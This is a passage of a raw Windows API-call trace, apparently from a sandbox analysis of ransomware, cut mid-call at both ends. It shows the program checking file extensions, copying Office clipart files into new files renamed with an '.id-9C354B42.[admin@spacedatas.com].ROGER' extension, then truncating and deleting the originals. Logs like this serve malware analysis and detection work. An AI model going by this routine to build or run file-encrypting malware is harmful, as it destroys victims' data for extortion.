lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.741] lstrlenW (lpString=".ppt") returned 4 [0061.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.741] lstrlenW (lpString=".zip") returned 4 [0061.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.742] lstrlenW (lpString=".rar") returned 4 [0061.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.742] lstrlenW (lpString=".bz2") returned 4 [0061.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.742] lstrlenW (lpString=".7z") returned 3 [0061.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.742] lstrlenW (lpString=".dbf") returned 4 [0061.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.742] lstrlenW (lpString=".1cd") returned 4 [0061.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.742] lstrlenW (lpString=".jpg") returned 4 [0061.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.742] lstrlenW (lpString=".doc") returned 4 [0061.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.742] lstrlenW (lpString=".docx") returned 5 [0061.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.742] lstrlenW (lpString=".pdf") returned 4 [0061.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.742] lstrlenW (lpString=".xls") returned 4 [0061.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.742] lstrlenW (lpString=".xlsx") returned 5 [0061.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.742] lstrlenW (lpString=".ppt") returned 4 [0061.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.742] lstrlenW (lpString=".zip") returned 4 [0061.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.742] lstrlenW (lpString=".rar") returned 4 [0061.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.743] lstrlenW (lpString=".bz2") returned 4 [0061.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.743] lstrlenW (lpString=".7z") returned 3 [0061.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.743] lstrlenW (lpString=".dbf") returned 4 [0061.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.743] lstrlenW (lpString=".1cd") returned 4 [0061.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0061.743] lstrlenW (lpString=".jpg") returned 4 [0061.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.743] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.743] lstrlenW (lpString="BD19986_.WMF") returned 12 [0061.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.743] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=14486) returned 1 [0061.743] CloseHandle (hObject=0x368) returned 1 [0061.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0061.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.744] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.744] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.744] GetLastError () returned 0x0 [0061.744] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x3896, lpOverlapped=0x0) returned 1 [0061.961] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0061.976] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.976] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.976] SetEndOfFile (hFile=0x338) returned 1 [0061.976] CloseHandle (hObject=0x338) returned 1 [0061.976] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.976] SetEndOfFile (hFile=0x368) returned 1 [0061.977] CloseHandle (hObject=0x368) returned 1 [0061.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0061.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.978] lstrlenW (lpString=".doc") returned 4 [0061.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.978] lstrlenW (lpString=".docx") returned 5 [0061.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.978] lstrlenW (lpString=".pdf") returned 4 [0061.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.978] lstrlenW (lpString=".xls") returned 4 [0061.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.978] lstrlenW (lpString=".xlsx") returned 5 [0061.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.978] lstrlenW (lpString=".ppt") returned 4 [0061.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.978] lstrlenW (lpString=".zip") returned 4 [0061.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.978] lstrlenW (lpString=".rar") returned 4 [0061.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.978] lstrlenW (lpString=".bz2") returned 4 [0061.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.978] lstrlenW (lpString=".7z") returned 3 [0061.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.978] lstrlenW (lpString=".dbf") returned 4 [0061.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.978] lstrlenW (lpString=".1cd") returned 4 [0061.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.979] lstrlenW (lpString=".jpg") returned 4 [0061.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.979] lstrlenW (lpString=".doc") returned 4 [0061.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString=".docx") returned 5 [0061.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.979] lstrlenW (lpString=".pdf") returned 4 [0061.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString=".xls") returned 4 [0061.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.979] lstrlenW (lpString=".xlsx") returned 5 [0061.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.979] lstrlenW (lpString=".ppt") returned 4 [0061.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.979] lstrlenW (lpString=".zip") returned 4 [0061.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.979] lstrlenW (lpString=".rar") returned 4 [0061.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString=".bz2") returned 4 [0061.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString=".7z") returned 3 [0061.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.979] lstrlenW (lpString=".dbf") returned 4 [0061.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.979] lstrlenW (lpString=".1cd") returned 4 [0061.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0061.980] lstrlenW (lpString=".jpg") returned 4 [0061.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.980] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.980] lstrlenW (lpString="BL00247_.WMF") returned 12 [0061.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.980] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=14444) returned 1 [0061.980] CloseHandle (hObject=0x368) returned 1 [0061.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0061.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.980] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.980] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.981] GetLastError () returned 0x0 [0061.981] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x386c, lpOverlapped=0x0) returned 1 [0061.983] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x3870, lpOverlapped=0x0) returned 1 [0061.984] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.984] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.984] SetEndOfFile (hFile=0x338) returned 1 [0061.984] CloseHandle (hObject=0x338) returned 1 [0061.984] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.984] SetEndOfFile (hFile=0x368) returned 1 [0061.985] CloseHandle (hObject=0x368) returned 1 [0061.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0061.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.985] lstrlenW (lpString=".doc") returned 4 [0061.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.985] lstrlenW (lpString=".docx") returned 5 [0061.985] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.986] lstrlenW (lpString=".pdf") returned 4 [0061.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString=".xls") returned 4 [0061.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.986] lstrlenW (lpString=".xlsx") returned 5 [0061.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.986] lstrlenW (lpString=".ppt") returned 4 [0061.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.986] lstrlenW (lpString=".zip") returned 4 [0061.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.986] lstrlenW (lpString=".rar") returned 4 [0061.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString=".bz2") returned 4 [0061.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString=".7z") returned 3 [0061.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.986] lstrlenW (lpString=".dbf") returned 4 [0061.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.986] lstrlenW (lpString=".1cd") returned 4 [0061.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.986] lstrlenW (lpString=".jpg") returned 4 [0061.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.986] lstrlenW (lpString=".doc") returned 4 [0061.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString=".docx") returned 5 [0061.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.986] lstrlenW (lpString=".pdf") returned 4 [0061.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.986] lstrlenW (lpString=".xls") returned 4 [0061.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.987] lstrlenW (lpString=".xlsx") returned 5 [0061.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.987] lstrlenW (lpString=".ppt") returned 4 [0061.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.987] lstrlenW (lpString=".zip") returned 4 [0061.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.987] lstrlenW (lpString=".rar") returned 4 [0061.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.987] lstrlenW (lpString=".bz2") returned 4 [0061.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.987] lstrlenW (lpString=".7z") returned 3 [0061.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.987] lstrlenW (lpString=".dbf") returned 4 [0061.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.987] lstrlenW (lpString=".1cd") returned 4 [0061.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 63 [0061.987] lstrlenW (lpString=".jpg") returned 4 [0061.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.987] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.987] lstrlenW (lpString="BL00248_.WMF") returned 12 [0061.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.988] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1536) returned 1 [0061.988] CloseHandle (hObject=0x368) returned 1 [0061.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0061.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.988] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.988] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.988] GetLastError () returned 0x0 [0061.988] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x600, lpOverlapped=0x0) returned 1 [0061.990] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x610, lpOverlapped=0x0) returned 1 [0061.990] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.991] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.991] SetEndOfFile (hFile=0x338) returned 1 [0061.991] CloseHandle (hObject=0x338) returned 1 [0061.991] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.991] SetEndOfFile (hFile=0x368) returned 1 [0061.992] CloseHandle (hObject=0x368) returned 1 [0061.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0061.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.992] lstrlenW (lpString=".doc") returned 4 [0061.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.992] lstrlenW (lpString=".docx") returned 5 [0061.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.992] lstrlenW (lpString=".pdf") returned 4 [0061.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.992] lstrlenW (lpString=".xls") returned 4 [0061.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.992] lstrlenW (lpString=".xlsx") returned 5 [0061.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.992] lstrlenW (lpString=".ppt") returned 4 [0061.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0061.992] lstrlenW (lpString=".zip") returned 4 [0061.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.993] lstrlenW (lpString=".rar") returned 4 [0061.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.993] lstrlenW (lpString=".bz2") returned 4 [0061.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.993] lstrlenW (lpString=".7z") returned 3 [0061.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.993] lstrlenW (lpString="C:\\Program Files\\Microsoft 